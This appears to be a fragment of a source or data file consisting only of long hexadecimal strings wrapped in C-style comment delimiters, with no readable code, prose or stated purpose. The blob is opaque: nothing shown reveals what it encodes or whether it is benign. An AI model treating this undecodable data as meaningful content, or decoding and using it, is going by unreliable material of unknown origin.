64f67d07cd1b9c5d32da348d4fd3ff31107624b90cddba08ff02ff6b10007f0876392d85ba713a2ad0850fb24d2b992293d83e0c4b223c842b33d9e2821e1c7cdf0cc3bae258309e4161495602beac7a5654b6d5427c06815de17da5c6b1e4d1843221a3b74f3743d8cae423d34c7838bbf3c3d5ace12ce76f4af3c2e3b43591ffbb77a309bd103300b0a7d286c986788145596cee67e606f245e8504fd98ad9ee93daa23ee81baf65ead23f874bb9b28d1467ed84dc36338c1bbb7c2e532223ceb7412ce05234a7479c08f1171a6505f1d6e43bfb91666b7378766522dda6f92fb1b62a2212ff1a017205eab4a3160d904f323b88ab682380843ad84ec287a144e2addc47d3e4a3572d51e1ed2f3f6906449248d3e4dd4257c78a385fdb759cb7228ec0a868e53f53cccbf90a74ff97af5911eb84f567f0f41a55fd6294e6ba2ef576807dcec3e04a2807a0032fc77926cc443c391a1177bb4bad7ca97231786ceaea48858b186c0f757571157cc3b9da5b90bdc0dab1c5992d2717179fc3d69d122f21a304a8adbf560aae6a4ae1a6cd7b2e09b5369d9a8a760a5d06a306595a9771392f823e1a3e88177133efad587f386aacba9d6a92064f7628f3adf96af8cc504d6a55669ff6c60790f7a77bcff627508781d62f0ca17eadff120f9dfc37786fcb439244162036205c41593d6c1ba6ba8ed00b7caef331226324c3e75e1282394f673192d5697dc9fb31e4c3a74eb2b96c9ba7dc28132e12426f4e70095b3fc4d2f4b823b5829ee1cfd6b69a3d9849d19416478ebde93db103e15a5840bce41cbab00e4961dd75cba8a4cee08bc084d4875104228210d2c88cd2abb6c02c9b3be4987d52b1bca38b305b9afadb7c02292d0f2e76a591e38990107a1369ff12a4272af68286b95ab61f0615905a6cdee9e0848ba8922dedbde08d3a8ba53f0db9d2877480ac0a9c977c18100792030334b1b387109ed5a863a3aec3edc0b90f12960fc878756770f34a273f7e156a993b9f8e77ef4e417a9cea8e2cf59c802071b9489b108ff9b0e7c2ecc68930c9505294ae1a343abe0c424931d1f15e2016d32ce5190fe302137902853c6a1c81a0cccece48a81a6412cac12a92d371ea96528e169edd4138bd8ea236aacacf7947895d718f4d083b7615e74f8cf9d995c5281771d4a493e5cf0de70e836889665fd15edcdb599bf5409999cacfd9a6456160604cc9b01b0d11319f023f25c65fa72963775f3d895d04209137fd44676747f538158692b3c5ceede9ee5e834a80087fc6421a3e7df7de73c53219f4c42505b80a354de59bad2a18b7b561b7783da5281c54a062d5a6b930eec07dafcf558d38cfb31a020b89500fbf12a655fde95b1074999743ce01f*/
/*248f2da467181497b998571527e934539c7319b1b34255c407d2cf7bba9e356c2f6d0bcfb92991eee6f35e5e3205cbbe796952608ae01abf1519495b461fe00d13e7b1c7db789cce86b88dad43b123311980f9f823e97c853c8323f2d84e62de481e32874c2e271f864856ccee3fe35ddb9f3b92f3e2daaa61af07efee9aa7ac7e7ac213486901dcfdf312dc2fbfff0efb2d47b8d5271689dc3606a1e755997f9bd1bf8238194c190eeb86e086d93c6f6db24d38d5a219f5ac17cb092b460ac96e664a080cdead218bb3334b9e1329dec2510410960e54dd14b6c289c998615693f246c0bae7dd8e523ffcb6de6c07c90a953c8504c46e575c830290382739e110a2f4a1d1d42584011c273bd645cab745aa7ca322e126139932cb80fdcd42346c4e4457603716a74c87ae37cb3fe9742de52ecc6ce7f905a70aabcdd6d6af1a859961a7caf648b42a3d602a4ca191c2c5aed4483d35a21c940821e2d435be0ebe54ad293439f0b3f67f77c95995f5fdff5fba0ae85c2dbcaa11eeab3e7fcd301f649249cc7c5bdd730f6bd3402d454f7f391c1481ed89518a9861391acf9e09e5c683ba38aa8264776577c582c6df61f39175b90c01f36c2579310e74daf17644015f3531ffd2c90280ef253453c9d2b9d00ce7193087590e9b5806a50903f9f3c0cbdfe9ec7448d511e6d2128dcdf9d363b8543eaf5f44165207283e9c22b058b9aa52a5f1ebbe7c95f234c0027291d6253c715af01f8d7bb47033357974f3d50de04a16decc2e178586b12948ba86e7c7dd7f0d70c14380b7e34d79abcc2c47cb593c926721738f1c81f8e50ca379dd590e5f6358b54713adf1cbc1171d5aa09db12784911f43312a0eb689dd052078a5b0c683bbe307dce73bc7c8fc690b1581595bd6cc7a6b557a9321e7a09f3b50908e23d6449c6a8ea3f928e3c82bc4a07eab2355c756ebbfbf1d3d9c6b0aa6e8f0b84826425ecf8cfa0159b1c5d7473f1899772bbf9bac6580a1c370a07d3125cad34abb4274ff49006377fd139d8bacfae617ea0651db4b09d78e388877323684b51978cd752d71b16506d826ef943fc19955e8e950369104e2d1b54e7e0feb35b854ea6bb37d7d563db8c89c2cd2cdf8041e5f7ab555c795a79405b9b8fd04117ba1fb8311b7d6588437c68eb488430de9f0170cf44f2ee6ce838bb7e38b324e1432030f88dae71871ba74493c8354634a96712e35d93ba61df86ae4e882353ee499474b8981030288c01ff86008787dd654fcd3279226f353df413fdf6e3366667c4f022f81ef14366a71cce5c9aeb0726048e00b1c559184ab0524542478b8266ecfe48b1f3dd6115bfa94a3479302dd85fbef8cba8b5e8687f049df35470c228f9e0e26cbabd6690f417a6b0b44933b58376cb2041fb40a42bde66554fad73938f81198c20c87aeba023616bbf43202da903005b0f841ea7e73dcab0c31d83dd7aa3b32ba46306fed4dc644ddedddc111c0288ab771518fe5733621d735a36e212f2815cdb95c60a1e45dd96aef2e0162ecceca0bb767c7a9a615ae788ef330988b5462dc0610931bb0ec49e3f0f563e56ddd59fd90f09bbdfa3d1f2b8bd36279246598213f58b2dc6de5a9eb0be49e9fb4aac58f885424eccd6052ef2d12882b51038080fb17018c5717715691fd889a673ee9a54f78eab6da6d4565ede046daadc4ee8cd7d905dff914de347efa998981fc9433aa78d26caca7d8569cfddf38632230ab19aa1f445bbd7bc12bcd0929d5a69c69864029614c6e79b89a9a10e4e34a39ae03927451bf95976ee37fc4fcf3405fd8d6be49793b3f034704c33fdca115e17811500f31b4a3c9d5ef111d511e270dde289be4dfa20720431dcde879ab37f2ffed139264f63c63fc4fa2caa855121d3a8af18cf3920f2e1fc5d2140231ca3e93a1633a383be2bfcb32af51df6568cc9b6a84d140a08c0eeec718df940b3d61084efe91ef2848356b372c70b69539950abf19be82853d4ad4cf384d4bda1694b3a208e2aa9c06eadb584a7ebbf8ce68587d6ce1df6f376c54fdbd3ce0ebdd6fd729603ee5effcf21c9e18f2eb92aafa778851971c1bb69c1e1b3223a7b5708c78ed6326799a2e65843ac960a01b612e06fabb136069413b2281fcb24a5df1fde3313c76fd79ac647a7c3e6dd59b291b0ba34b781ae7f35b79a36479b427945f262d9f0e2765a652c88f286b1752abf1fdedb8029d1e491cba7287b2e9b007e85377a742edb5818bdb8e4ef44c1addbfb5c485d9edfcb0ac501299c78625f12590ea8090f8283909028f6ef49151ddd3c7de44bf19e4d0ff69ef7592bc91eeba3ccca058d59d7359249ed1d4754ccb29fc4e91e61b1e03a80f382e55689c67d0a8a5d62d1aca28e654673a38ca4d62c9616eb01dc4f0e1b09f2a8c00e5ffabaae154fa17061e1e2215acfdbf72035390dab2c2ae8301ae14e8ee2cbcdb67090144aec7f5f3e0560ce719448b21666ab00c5d495bf93998de4f38740976197cadfa044ba9e691cbe9d89333a81d715a3d955854f14de8e112645124bd555571598f66d2937427a9bcf027ee6f21771cf2d98890b8c1a22c17759baf5eb08f6e51e4abd5d361164056949e192eddac705d1f932f2253beab03110f09125c3b31e26cee0bcc1d731b45cae8a02b9bb6fe54dfd2a1418e353ceb9de1e260acee4bc1328e0a61400d32949a958bd3e396dfc7c1457006b0a391fa7018aeaeecc24dfb9bc9e5e59a75251eb431994a8f79de582e2bb4e0ce08677060ca65d3204416a2229b543eead6df9bd71eae59031454ec496f276d0ae798a1ef*/
/*69c5613c95d2fcadb03a376d0f86ad75cb96dc6f1793908b8e6def4d80d2c1b24dcd7f9284cd845ea04d3a8c390e6b222ac4a2d394be6ebab7d321cf904b909822d07a7eee4546694e5f2cb7823524888d9bb688285008d894813235bbfd1aaaa02efa6165de240f3cea0e933fb0f20460502485383735a5d66d0d661b602c83bec4536d54feb54e60c60015a7488a8042b9c49881c3dfbb8e40f8143cd91b76c1862325b111f0082a8da5c9df3f74c93ebe4b98cecd0c10afe68c354cb6fd258fbca1cc1828574359dca168f251f39c9e5a7ef6a787a1c29efaec8447ffbdea91066b55460e27e01b7b49e7df81be6bf952629dc7f48a83ebdbb3cd1524428f9d22cabf3741eae6c1a04d7cb725fdeda87cdc8011af7fcc0cffc49cfad74ba21d4432772ec854cbdd5c8b7d461f3ee9c219349c64ac9234c1f6cce25fb3f0b68d9ced5de938b162ac156947d60d7e23e91934f632f3f6f0f4dc0586e9aeae82a6ed03d56b2eb818634eacde150851e0401960f43afcb7cb2dc73cae731abdb8dc30be1922bda69cd3264d871eb2950528e742b5b5912ef4732edf02ebd67c878d2770dd170142929d790e7453eb83a41782363c48a5c76fb24e4b1c11497bc93876f9e6351772f53551acf7c72fee4838e6eb14a55e0a8d4fc5bef05e52c0644ae11a2bc2ba2813040c6331a88124426b31bac8fc8ef50ca61488d7692d1415abdc4ae96eaf77bcd1cdac42ee8dab16601a110b7d0cfd6797b8e4b2e3e69aede833cf67ac8cf64538a7de782d6608a700b4fbc4380094262eeab1bd0b392edd9fe9b2d1113d748062c3feab6e4272af9956db44d3ec8ba9fa08b09406d1a75f557d71447ab31cc9a6447ba5aae8a450c1092bc528a94c0156ea5737d2208f1d920952c2c86d462d6362a88f4966829d83ad7cb0037089587e5b812200ecf6dc477074a3d596824a478e44b60ba74c1b99acb9c6183714f2688ba6325564b54915b120afbb568a450f4e8bc3da39f079eae0547354206b1de2627fad6efd88571f3393ecd24aee2a055c9d4dfd8ad5b500cdbdc537b4828f2292023c006ea238cce287677803b7970acb442614ff977a1d604f63b2762336e1b30a1a8cd8741c013edd0aff874e8620a2c84a726fa6d387df87d27b4d46faef76890feff2d79515a9f0bb20722ac8d28af57dfb06aebe4f869f3312ee935b7c135d3f45f9dfc3fe14a912799f6518ef299a85feffd7e88f32ef602c76fd756f4d8d6de778fc9a04578c336cfd9ed56e56c286b715334f80310556318cceac325cc7d28654abe22da4b64c19a43692cd447192643b8f7e725945cc29657cd0ef11393192ba5172b22b3d73258d967e4422cbcc167bdee0da37830fb18792e4ea975625c05bfc253083787c856a4d46a4c685c0f602935f3f72bd5752619f223e2d9b4f67f28a04dbfa6372e93e67d07542c0cbd1dd5fef856290a8b16ba7c3ece8c0a964c00a62e3b3b1053029334ef3e2f3297cf8cb211590a8f8cadac6d59628bf104d680d6bc64ee6c8ff14c21f53bd4e026e08db943374cb4c053cde0d9fa0a2668a4d2246e2291d22276322f9a523b101ef9edc2345990e377bbd6c4938cc15337de3463d4a4d56dd1d43e8588594a2ea4bf3dfc2979a0230c272c2e298f7c179a157e25778ac4308353c3e2d1f72c4dff6ae16310e93b41aad6936ee424a34251bbe28dbcd89ee6ece8efd0be8aeba17f2b499daaed8f0d337f89e0b75af65c6fb4c854cd86de37506949bcb04d751758f61dd1a055819ce253e885159bf1a1867acf7a2cf13ca9ba60b5a68d0294ff378fc34d7dc218cf634446897e9b507249e072a62aeaeb03bf59d689af16965675a33d39c220de53f16d7476b6fe24bfe73b04252ab3064f2bf300d7527072c028b1ad96a6339dd5f89556010c5d0c71f2a9e62354dbbcd9364593b5b629f5ceb38c271b275bb276f42b6c9c4251858aae4a72d4853d2ab0beb203074235a070a684654a5cc7ec828f55f1f7ed372eb2fdc466474e028c5758c6a5b216366b459f158647830c3780e8063222f9a7be93ff9c5bd577bafe4265e3fe9d6aa24ef7890027a4e5de6860a361146bc6ac0c6b5264bc9c134b42f5425371e88f578598118281a0f428e59710cfc3783b716f4df3ad2d0d4b0dc0233b9fe9a859b27eb553694d83bff977094458b57b4fdde137423b7de0d9c616a248cfc098783ff63be7ce76df658ed0db5acf2cdadc91771cdcffe0ffaa8920f349964369aeb2dee748dd5bef1dc47eb24920f9412be280e7ba6237b54f2c7a49387587a362a081e3e6a69f29e25e5663b46499d0c81850a77b8f19e5a1822393958cd95c5e2c010ebff0b99015abc72e5fb8a1e43cbc5f79099c30c862cdf16d945321905f87e433e4f576301f0db2adda6f8e8bb92347f334074845b63021022dea6da3e288c786f0fe3d3a9dc7d236fc8a8710f5b3b7e4b38e7ed1cce71fffbe8e4bf5877fe067c52fe131dd3e2cdb274a893d0556eb8c4b33dcdee7be0497adfc4824e805e4d88d9a1175454577a89791736448d1febf2ce1867f0a15be677626e9046d558ee87bdd71513a8bf63bc0b23cea27424b78f597d08afb685b7c263fd78e14882247435037e848736c9b8393afc14c51a273a8752765a9833c9b16272a14e4d013573e952d48744ade464bb29c08b0198c365d439afec06510ab1dc2f5b8367127c2cd473c0af25885e36c65fe0ae69e8d633aa98fd045d5ec1f32050607ef927578d7839f29b92c2d8186fee81a63d06e0fa7d34372a1aef98fb5e132d2071ced7a431aa7f84*/
/*8accd96de270b891ef8a8bfe1909d250b9b7513b0bfba608a9664cfc1bd8c1fd175056ababacd43e3696df41db50d6565c50872db868e74a8c1c29d372f985931ac0098d24088b43999878d54a773a984baa50a3587627ae3e67ae781e4542cf8be5e28f66c4559b6e294c5b758b621e83bac215403547cd94b5357f7d02231477a801cb56b36f83ea77f528523663ccf609240f5d5ecb62fcc541f753680980d2f313d64c3ed4da9caae4d7054ee66bea688095b8bf0ab9b03fe56eea7942984d14b34f4eddbebc064e6400a798a7c1194fdcd70bb33689febe13385ff9a2a41aa7f30aef3fb2dba6a13658cf3c5eb3a5d9b3fa0a24e8b7e849a427ac7332042aed618f72c43a2fd5135732a45a9850a63d88a0130c8b183eb3d1ea18ab90d6bc4b012a829f4451616d7c8d08e271825ce6dc1cd2bd7cd9c1ce8556867cd41a97ddcdaa7bd0858814dee62bf1ee91e4225715ab4173014bdc36560445c6e3547cad36bb846f5716c31a18310aa915c58c998e44d3a2c39bc0c9c0f5ab17e6cc92526fbaed30461f141904509f83412a26a21e21f2a2a036534f1ac4879a883aad31d3fbfea46eae04cc3c5382ab201e7e8de337598bedb81fe63203bcecfbe47dfe34730e2ddf4f73573e3fe7801830f92ac69a03a6588854b04d8544d54746e2ec7905549674de5611b27f959d0ac10579d8332c3a99b5f53e9a970a29281c9ed5618cc64f4b0898593870e54a113dec7314fe3c9d531dd2bf8c0eeb548ec672c9c09abb43bb3d270e2d08fc31677f729493e636da0ccecadf5fb19828ee4da91a4ac0cf1eabe4b39dc4f99977a0700a8f88b645dcd67b9d60dc5801099bb1ef117d9bf6e34315cfbcb7c82e5abc51f37cc458f3197166b47214cdfd21d9d4df04aed66e372c4ba736016b670c7c9a58992784e4b40114db49b3a541afc25738d3c55e8b7ba94d77aa89fa688ac1c8a57418f696896bebe228d159734e0e7ef222fdda1fe7f1ea993becde744cbdb338d7b83511933b07537370bdd32bb1ed310663918cb46d9607084ddb08cad07f3b704ff3c4495f2c580936fd31fc0bf1cd3ad02642bf3aabab47784234048d6909c5f95fae1b55f4aa7712b286bd9ad487860b7aa13d65534a7e16767c3b479a688e9d534e16e012c5ff2ed559d6924eb2dfdaa03f761b786bd754f922ea47c38acc2e2a0a2b16fcd45dc7067b661d415700a31fabebe9cf55c7df6d29d785c09a76dd492edb2ae57d3c6d9d32a32c53c349df942be7736b2d5d23803032fc144bdb4b7fc607eb7f37cf128485ce4a2dbb398d4a45e0079a3f739454b9306722edd55959a68289261559b7b006d5a9788cae3ff1e516199e2eaa8fe722a72d3962185779b815a30b202240aef573e4e38cf05812d68d16e2f0ddfc08d6bdc8179bcf0b749af3354444e47aaa1ec4a51cfa73cfd8dfa5995a81fba98218b24ce0bc32d00f2c29b4c56ea595667523b69a0b9235006d2420ad6a938a7774e08f2b9f16edc3cfba71c1e799d341580a5ed2435cf2036025072db971a3fb51efa40a1b1a0cdc088674d470c303c157179a516831df2316b8f5cceceb089b00e7a7bf5ad566ebf8530f2ba2c0ec4df2bd91730810eab2c802a56037bee5eda972f4207817b05c514ee41293a25c6fbcb6778d55aa7338361c906aec1d79007c186674ea44501e2d5b7e05e2adc09f98204407f320d872cdb594c15e22cb9e03f94d84f0a6c6183d0abd7bfce24c06e53becabdc7d33349add5518fc858faa40be6802788f1c59acd7bbe062781926eaa2851594897fc76666914428cb3f65b4e248be355bd8c45ace50555fb725f4cd46ed4cf6988150aa18c80387267b1378f6ce2fec38a9d67746000a7b78d9c8ff767a864b8851d496dd2429a06d7a9383d83b87574548f3489ea1e9ba478936aff13e4d6da5f9c97f809dfea9e63bbc03a7b5b9e17155fe8a2e1a2a945a074254acf0d3a6b4a17e98a0d241ca73929fa05be46d9093daeda080afa24d9143760cf2d85f38a915e4ce6b445ce67f460d820f03bcbe3bb7e4549ecdb188b097d1e4715a75a5aed75c5459a1e67fa0b32eaf6c3fedfa90a3ddd6d9a71b95dbbe36aa0aa559d950eacadeb9a068a27b0ca909dbf6404314c4edb30de7c0d4d63438a2d5dbb1f1649149e2cf1aac4b250b96828de0cb7b8b217acea95ea6f3a61e8a25b8e28b123aef206a1215f62131f855d40f013098bb70811c22c5bee634c3349de7669a291ab91ad069ef1ac9eff1c61814f34564ed04d06bd562da7199510ba664420125d8a3df57a7c95d96a434e1a5f0afc8f4fadb215643884cacb3262b28937c7d9309da12ad12950024ea83aac16091f10c25e3f18968682fbde933c624c3bf1ae44a2c9adfb2df5852f16cced06a2cba970a6d7e3dda6829a553c013f3dc6af9f68a822fdf31f1b9d603cd84a0d673412f7bb291429d8b2b50bd9fb766ed36bacbf25011a613dabc1367adaebc3b482bc207500ed9240f9f8029a7bf4ca989e667f2c9b95d202a11e5ba5b9c11829154a800cf21ef2094763100accf11466b67eecf2146061f8140458c920b893379b99bde15c057e5687cbdfa3c9901914f150032c45248608db2f66ca62c58d2ee37cd1c9377219be1c573a7653f22582d8ac728c8d38cb2026edf999697514cdd8dbc4b800ccd931725611da9752afeac7a4e0ca92e305b2b10301d138f1fadf6765abc4e26fe394a1dea734686940fea29a98646f613f655b6a9a78bdbb534a521a3ad9eb39ea4425f8cac3916bd15796e2ff9f642e48dc1393b32606d7ea82945*/
/*40de1e8004ead2613d3fa52e387ec9ddff961adc661e08da0ed41dd113c2ec44be0064a8f973c7361e2d4f4f84d51abef04377fa670dc2b164f03b0e3e669bc0c278eca34fe28fdfab355d69d3eab6657e4331a3adccb171f57f5bbb96587d3a5056d6f8673c1b187598a4dd814edd55988fa860d8c7b20b43429021d15890cd1196668e13520b886511dc2abf585a00d5b9097e1734253d3a7c5c709482326dd54affbd67028d1777e4f14b8e9b2e6ceb722a4e2959971171f3d2424ad7646c3d1ea69565239c89e05b207239e60062902dba70f9ec0379f1ae5dd9182a9c58a65df634c8cb705420a013b0fc92eb2628b8cb4ed26ad54f25f275bec2ac225076a0bc4b98632ba12049180fac15e20251be9c9918885e1d869bbd5648876cd62b3912c7a3361b435098e54c3284b2c509766fe9560305743df0c1771451843dbf1469cac64c87418c37824db6b47e50cb0633a675a534710bf54d5e4b23ddf46d2b548f673ff4e0a3e4a288c5b50a279b28250ddf6952b7fb26cc877e8aa5126f31eeb2069034587c1e249f7a04e139adcdf5480760c7f148905a4f684b712eaac972da8d98951b40f36995f836bbeb063ca0598b96d075b9e203daa39f4c282aa6d3039cf73785678424c0007d8a210d0b86038dbca32071862f9d15cea5a7a2d96df748df082b93f2f960f257bdc1a158be4ec305782f3a19486b7e45d40f6c182c777fc0006821c1e79230478a1bd96a5d522ba9adc9f39dc595f9b1f71fa9d4c21d6ad8445d9646498948c223f3f96372079888dcc769e0552b0e6ee51fcee72e35f2c11ba360734e1f60b14a6443a7d3490ef0c6217413ec0eec7c74caaf24bdf52c80b45c04a77fff3f0f0fe3ea30d896f0cee1a8edefbd50b069aac598a408e587a4b78a9d6b4fe3004bc8403a1a49e4b03b7d2e8dc18b86010e8347ca9295bc69ebc4b54a83ce5311bd3ae3784dfa1409fdd21f3869633aa1a2ee73b128d0befb2edb3cc91d7210ea4a34e20d19fbc27e8e5b67fb94eea769a35164c5e92d78d5d4100c4e48ac5890f563f8c0f4788a8cfd233373f941e6d958f0cf55eb9018af12b65aa5f2e71db02288b29dfa74c4ec22205dd5707886a7166a782857dbf4726bdd2635285e830b63ac03347f0e592e00637097ad6496739fca643866d7df97e6e62ee348311c26735f19106d5ddae22b70e7d3421323b2c5031609a0b545a1d4f4c8121985ce5bdeca58087c56194619272019a597b1a7d9e5ba74f58d485518961d0e318dae1837396d8704dfce02b1dcfb2ebe454993d92542b2cdc3104aa9249c6f5052d5efb74e67095b17470ade55e3a2717d2b26b4f8062277d75926bc1902004cddebbdcf38d8700487c1bdba907357dfb0bb50122722a99c073ba800e4a93f22bb99d7173026011913621c8bc613498c2cee27d3d675a6893305bec1c20ae419013d4f75f6dd792783e58b35848fa16defd0a1e3b64ba69cf531ad42059e20265057bb5be0580019d3ce4f6ad54e5e9856687774c6f6217d79511a525db6f5576aa3835eaa944b79fb8172a3b0bfb855754502fb243dd877ff5c2b1d83ce5b22ca2f3f303f12ee668aab4c1bfa8b309d91bccb693f8c4fd531e084a2376aea0c1d5a3bf4ef8c76e42b65ad83d9b540b1a441f515c35bc9238aecd313a634826d460972ee3274621653092ad3cb8c88586eb441449f9c2f1760bfe03348f03afa022d68d6f9cbda6ee23a3c8a55c980e135db491f9099a75de52f5b94e452ca6ae152fc29f37b7650ebde2bf93248b36d31bddacf7eaa35690155acbee536ab2540adc2b6fd6a693b191e5e9a41ccad1f837a6c2c3c5871ac01ee41ffafe0fc5529f864f110313246448d1a1248bef19cfdbb907181a3c7803f436459f6567ec5d10fcdb6681af1d7b9fd1e4da099bba56e8f99ad7e232e42cf6853a017ad4ce2a23e3eb82c59e43f5747f9baa73470e9d6011651d3c2ac0ebbf682dc146dd9cff5b4f8b9a4d7f38fecc536e4bf20ecdc777c637ba2fa775d44c40e121349b90ae825a7a06dab33fca2b2997cab7db1c275a3bdb9f45f570117c0721df3fac55691a7a21821dd99e87cc3bbc7218c5cf04a74dc23c969deeda01f9ec8d28e5b3aba8d68f904af0d1b93e528d10532251a08a54c0cfa47773943a143e8d8ec8cdbb0136f1fa389c0233bda209e0a783d5f3007d2f269346b8b6eaea786ae1ce64c3ab4a5b2a7e766a095b8837cb51770036640c2ec41756e1add9e64edc89c023758a0e6c18a0fc9621c75d488933fab31cd3ab603cf48d96ab92c575ad9b5a689329c6c2e3a77ba629054492c0fea87ac6ebc95a6dbda49518535943398db369833a99177b8d8f230148740ccb8036f2f97ac85b4a97493e6548dd97f4cf076765e837d1717dec7d4dfb071906a869134063b3c27cd1b262fb7951b90289a5c041baa5637bc95da5d3dcb7a17cb1fab6c9de794986b3806bdf95b5dd61063c19829a3a96b8578ab4cdef33ed601df8662a52f02faae93bfeb580eeaea5955b3cb32fe11c6b3b7eb9e023efb95b67903a6e2da9e88a4c9b8ffc89d65c967dc65a87388028ebd24f85571d74bef0a37af4802a8b34382fdbb0f6c649a10c5e56a0ea2e1cb020fe35963c03bbcbb41b80c4a0db5ddcd88642b13021d6366684957920cf55027c934f10191b57de7796255d7ecfe3f4cfa3cd50b140272bce2846795e8f9a4958d653948168db509189fbf7f6dac8dd5a63d5d62a6bef9093b525ef2776a95e9b83cbdc75c68b6ada7af7774202ee02b40b0af0363fde50c90335afd38958e437b43*/
/*729bcbb08460b33d95f7a5de49a66b273e7dfefe30fe386d4cc3b81fbca325bb5bd9840b056e9677dacbbf222a48ed05f85abe088492483005d6b0e30d833a31251d14d9c23cefcd3a6ba15fa4865bbd3c89dba0af08ed764eff9ec351a55a9e7298cc003e3a7071762c705d8f045d1f65e2a97651d42095b461a477992f06ed75d4602cb9808cece6efd09737c010b142e3555880d13bf928dc44b5b0e03b667bd4ff90f0b3058240fbbe29c850cef56a350e4ae9447ded040ae7d021d631d9f477fbf80ebe64fc0137f1a714fcb8da8604836cfab2b1fdf92ef61cb0e82ed24f0788f3d79a65f1dd97d88c8ff7f86d16012d48b169275e6a4cd77cb8865b9fdcc6c606aadff518b4a8ca030169250b519fc68563f6a647b6c4c1f21e93082c640b2e22f3ca1a71eb7c77a485343410b1bb6c7038d6190a2c54056168c2395b3d539dc1c9a49fedc53ebd5bc60c020cf2321e0b827ec4a336cb379d2089cb34f16adb6dad4e665c5a38f536015be118983677114b394f8024b2fd8138ddc123dad4b0fe3d1be928801e6146a268c4f4036722fd1d50491328f93bcb6f8929fb5a5b72cc559859521f633af78f103feb921062a157c7ab84a514835fea199d517319c721dd72bbd088237da9542ecabb24298becd992fbd8ede0655639d931bba2b7265f5c1484ca068362bb5b199651f795902e5f161838c97163e39c557767565ef5826f42704ed65abf243228bbeed741ad5d880e21da75602e6080eb64a3a8893e8f2a1a7e35dc56a79973f5f6a636c0206da03c6628f16b3aa4b7b54b86db8bda9a1e146651a5f00599b888c1970d48c50b572df7f112c7318596e0db331b1a69463e1bcc33c043b1f85fb34192c4c0ff842261a6c3090573d8cec88fe8637088d2675239a4a24d662d7a6fe94599a0a6e576ef195802d103a2eb718ee4145510863ba91bff0f358290d7e2eef03efeeecd3aa9d7df4cd5c58961bf7e2d0d040a903060f12187ba9c3153e9ec12014db6e4728936a15867b83f81852bb061b95041f8660655a2e1860e7fb1754b83ec402de0a47e74da92a76c408844a1f2caf78604f54e05045b73998c086eac8ccf7b671a1152102d37335db94c55150b740037f6fffd472f4b66e476ade7105bea0c57749f5f7841c27787e4b64506558bc7c40fb5305a8a6e78c081fbd4813911d6dc9a2cab676a24cfe7bf700ffa7665d45ba15250227cd34b1f5bcd2cd981fe8a9fa07244883b9c9f0f7952fb3b7b9bd617693f888face7713d3e8655374a951eff6c80b91aa2dac7e291710960e07af8d58aa15ba04f9d4187652cc1abff50d04d3aba3a2c4a5db7eb812fbfba82ae9974ab8032e84d7460a9740980c96eb7f9bf8399a72335a3ac0e236ffb430a190219f8d544c718c642d6a71f5943a85e4522a88f0c1b0457659f8dcb624396a285647bdb8bf231db40f844a72029facaefd9117e69985b3594cfbc01a3815e38b17c4de8c3e77177bfb0e341a292f67cc313ee3192df79a74b045ee767216a36128d089938d2924534cf7c9f0d6a2333747306b42ade65ace2d1b2f15cf8783f3ea4fc605a7a28fec7ed59ec5103c702b6f4ad29ec9f683af93067afbad63c9c9679cae893592c820f0c19c66c581ab09389b0847b0e2d144feeaa74ae0b58fee1ddbf680bf519e7067420535254debee1d153e6b9bd2dec20c16fd442b98263817b921ae4c0d16b063d1e443e163540bf72bc8db42a4e211fc8c87dacf613149ba25a65a1cceb92b5340ae66adf1b9a1e02bc0b6e502841903e68644288a317da2c0e176cb38c881c113d1dbb4022005ba0ac31de453925322c4a6f3bcb55e0cda195d09942bce3de91364c2645fd7903810b41ba60351135c9d9c33e0038ed1923f43dfa176ff4a58457df410126c108e2b3f1b11bd5ed506c6b9d177e70a4836164f36a82f000a465b78ee4aef4e1b504085d74014cba64df8561afd350b1d89c3ae264be915362af98b803ccb8e3f4179fdea78234409ff47fdcc0a79da31270e66fafc50767ae05416cba8507ebaaaace6b0192e29160b7bba460f978e3baa15e428594aeb50a0215fc9dd72eac50024cf9fe2d8af55473ad08085efa0ec40c8ab82afa04ae1def79802e76e00b576538714d6f8c9f75430aaef3619e5e81f0e13b01ff8051eaadb67931971366b399a69cfb1f9d685bbfaf4884bacdc8d69bde72a722a21fdbd1c23e891cd22478d11b52138f82e90815521942d922d9cb3de5a6f3de457f0cd5d1a03d885e66befabeb2831610b73a3c246a53fc2e2ed6edca9ecc7a2d1f86e73525f141eaa530417d742790d7bd378142b18ba23d411b2e4f16aa67a820ba451b858ee4b4ee327574150abbdcf4144ef773929f1586ba1036910661e9703c227d643076813ebed44c65fc5c84b7302851e4f58ac5041e0c5ea5443b6bae4f5ee82474de34edb9c46774ff744b1453059ace288867db13fc94a19b06c17832633002070e0e6d18a02cc41e04f6d2ccc5b224c478fb368cadb07cc7714676585f7c74541a4cb12aa3ce294c0e559cae8019dc31301d349930d1f3102c361cd13828141f7e8a777bf7fb1cf17bd74d56782f01fa6e60f0e07aed0f9d442149322cada585a1c96f0a5ac54c78e3ddf30b24867c32b22c3505b7075789973a7a9cabe4336d863961472ad4f4dc0eff6d2263acb1211e3170d8510fb3d65f5efbc4981697eab27589bf091582ac05f1aadce68905d8a24a8b27e87f5cc1bc8ecf64bd72cd1668491d3c272c47200c4ae60160c78b67e2e00ab0e4b8f42568b8cb3209681f1154*/
/*f98a083103c1b9a37fc9d8fc9d3397c12d3c625aa68a764eed2993ae594748eb974988f365deb8db5bf546eb2a275d84cfb4b9897916e956353905674b4e9a8585bc93a4e4c39c1802da24eb4ea1e3206983e2134a1cfe05d54a45aec86bb9554bd9bf82e816b924801cbefed154120a13a7d288284c6eebb7866fae8405812371c1bdf6a75de7b2afc5bb4a5011b2dfe6659a0ab40873c1b53aedf06e11ff8b3e6576d94217936de58ee89991bd6203d6c6a176f0ce044c6ee007ac0a89d3df71bd075def16f8809c4aec72853af15252ab0ce0a91cf8195e26b064cb230640834907d4fb7de11785b0813c4cb102165d8a95fec78a27c44b727c1ce88357999d3fa13bd6f18181abcfd264343c97ee69548ff4ae1343134393243cee99f791e9ddf0b533371e727aad0734a68fe133368750f73cb5375340b16171aee81988e035c431c072d4ed7d7e82eec3643fc632a1520cda05e25c5f21360ace2439df8e96bb644ba4daf652f0a81f16fc722ea8a0a132f7cfcb97ccef7ceb3b452c1b9c196e6e0b82baedb5c19244d8872accb3ae5e3b2c076fa18a9c62178918277c60fcf262e64f98a5746ba7a20a048b1f4a762bb29ecb1aebdb6bb50e548e3fa1a0825ba20f4da0bd907ee09612b7aa11abd503ede70c885227e80e39692724c1882d1ff7d1a56f70726eecffdbc865642e21e662bc2ee2a29c2256bcd0abcccce3fc584696bde675ea9be51701e2d3e41ed94868dfd5e4fb2b08a19a525c3340a3d51bb759621c5f453f7bba8eeab7689b459746faec77e63dd011abe9b713804a4427abd3ec062be8f0e165863c0dc0ab48c9ec7